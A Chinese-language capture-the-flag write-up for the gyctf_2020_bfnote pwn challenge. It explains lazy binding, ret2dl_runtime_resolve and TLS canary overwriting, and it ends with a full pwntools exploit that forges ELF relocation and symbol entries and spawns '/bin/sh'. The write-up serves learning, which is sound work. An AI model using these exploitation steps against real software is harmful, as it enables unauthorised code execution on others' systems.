BUUCTF-PWN gyctf_2020_bfnote(劫持TLS結構,ret2_dl_runtime_resolve)

程序分析

在這裏插入圖片描述
一道帶有canary的棧溢出題目

main函數是吧ebp-4中存放地址再減四獲得的

在這裏插入圖片描述
調試結果如下
在這裏插入圖片描述
我們把這裏的地址改爲bss+gap+4,並在bss+gap的地址放入我們的ROP鏈即可(這裏需要留出一段空間防止執行某些函數時rsp減小而修改了got表變量)
在這裏插入圖片描述

背景知識

延遲綁定

本題需要利用ret2al_runtime_resolve,涉及到延遲綁定的技術,簡單介紹一下函數綁定的過程,以atol的調用爲例
我們看一下第一次調用程序atol,此時atol_got存放着atol@plt+6的地址
在這裏插入圖片描述
程序把0x40壓入棧之後,跳到了0x08048450
在這裏插入圖片描述
該函數把一個東西壓入棧,然後跳向0x0804a008存放的地址
在這裏插入圖片描述
而這個地址中存放的就是_dl_runtime_resolve的地址
在這裏插入圖片描述
之後就會在Libc中找到該函數並把它放入atol_got中
大致流程就是這樣,下面介紹兩個在該過程中涉及的結構體
符號表.dynsym節,它是一個結構體Elf32_Sym數組,定義如下

typedef struct
{
  Elf32_Word    st_name; //st_name指向的是函數名稱在.dynstr表中的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //對於導入函數符號而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //對於導入函數符號而言,其他字段都是0

重定位表.rel.plt爲一個Elf32_Rel數組,定義如下

typedef struct {
    Elf32_Addr        r_offset;//got表地址,即函數地址寫入的位置,
    Elf32_Word       r_info;//r_info>>8表示該函數對應在符號表.dynsym中的下標,r_info&0xff則表示重定位類型,本題需要r_info&0xff爲0x7,因爲類型需爲ELF_MACHINE_JMP_SLOT以繞過類型驗證
} Elf32_Rel;

回到atol第一次執行的時候
程序把0x40壓入棧,這實際上是對應的Rel與.dynrel的相對偏移,之後入棧的0x0804a004爲link_map,程序先從第一個參數link_map獲取字符串表.dynstr、符號表.dynsym以及重定位表.rel.plt的地址,通過參數0x40即.rel.plt表中的偏移加上.rel.plt的地址獲取函數atol對應的重定位結構Elf32_Rel的位置,從而獲取函數對應的r_offset以及在符號表中的下標r_info>>8。根據符號表地址以及下標獲取符號結構體,獲得了函數符號表中的st_name,即函數名相對於字符串表.dynstr的偏移。然後去libc中匹配函數名並把函數地址填回到r_offset即函數got表中。

Canary

在linux下,有一種線程局部存儲(Thread Local Storage)機制,簡稱TLS。它主要存儲着一個線程的一些全局變量。它的結構如下

typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   
uintptr_t pointer_guard;   
... } tcbhead_t;

其中stack_guard就是canary
而我們獲取canary就是從gs寄存器偏移0x14的地址取得,而從上面結構體可以看出stack_guard正好位於結構體偏移0x14的地方
在這裏插入圖片描述
在peda下使用tls命令可以獲得tls結構的地址,可以發現它位於libc中,而如果我們使用mmap進行內存分配(本題沒有大小限制),就能獲得一塊在libc上面的內存,比如下圖的0xf7d01000-f7d23000就是mmap給我們的地址
在這裏插入圖片描述

漏洞利用

本題需要僞造rel和sym結構

typedef struct
{
  Elf32_Word    st_name = bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8//(system字符串地址偏移)
  Elf32_Addr    st_value = 0
  Elf32_Word    st_size = 0
  unsigned char st_info = '\x12'
  unsigned char st_other = 0
  Elf32_Section st_shndx = 0
}Elf32_Sym;

typedef struct {
    Elf32_Addr        r_offset = bss_start
    Elf32_Word       r_info = 0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100
} Elf32_Rel;

0x80482c8 爲上面提到的字符串表.dynstr
在這裏插入圖片描述

0x080481D8爲符號表.dynsym
在這裏插入圖片描述
0x080483D0爲.rel.plt表,可以看到偏移爲0x40處爲atol
在這裏插入圖片描述
跳轉的棧(ROP鏈)安排如下
在這裏插入圖片描述
本題中,v3是調用malloc獲得的地址,我們可以對v3偏移v4+16的地址寫入數據,然後v4我們可以任意指定,這就意味着我們能進行一次任意內存寫(注意看程序邏輯,i纔是被限制在v3範圍內的),我們就利用這個漏洞把tls結構中的canary換成我們指定的即可
在這裏插入圖片描述
在本次調試中,我們申請了一個0x20000大小的塊,canary位於0xf7d22714,而v3(即我們獲得的)的地址是0xf7d01008,他們之間的偏移0x2170c是固定的
在這裏插入圖片描述

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 25749)
r = process("./gyctf_2020_bfnote")


elf = ELF("./gyctf_2020_bfnote")
libc = ELF('./libc/libc-2.23_32.so')
bss_start = 0x0804A060
gap = 0x500
stack_overflow = 'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4)
 
r.recvuntil('Give your description : ')
r.send(stack_overflow)

r.recvuntil('Give your postscript : ')


fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12)
fake_rel = p32(bss_start) + p32(0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100)
r.send('\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss_start + gap + 0x4 * 4) + '/bin/sh\x00' + 'system\x00\x00' + fake_rel + fake_sym)

r.recvuntil('Give your notebook size : ')
r.send(str(0x20000))


r.recvuntil('Give your title size : ')
r.send(str(0xf7d22714 - 0xf7d01008 - 16))

r.recvuntil('invalid ! please re-enter :\n')
r.send(str(4))

r.recvuntil('Give your title : ')
r.send('a')

r.recvuntil('Give your note : ')
r.send('aaaa')

r.interactive()

附上兩篇參考文章

  1. GYCTF 2020-BFnote題目分析
  2. ret2dl_resolve解析
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章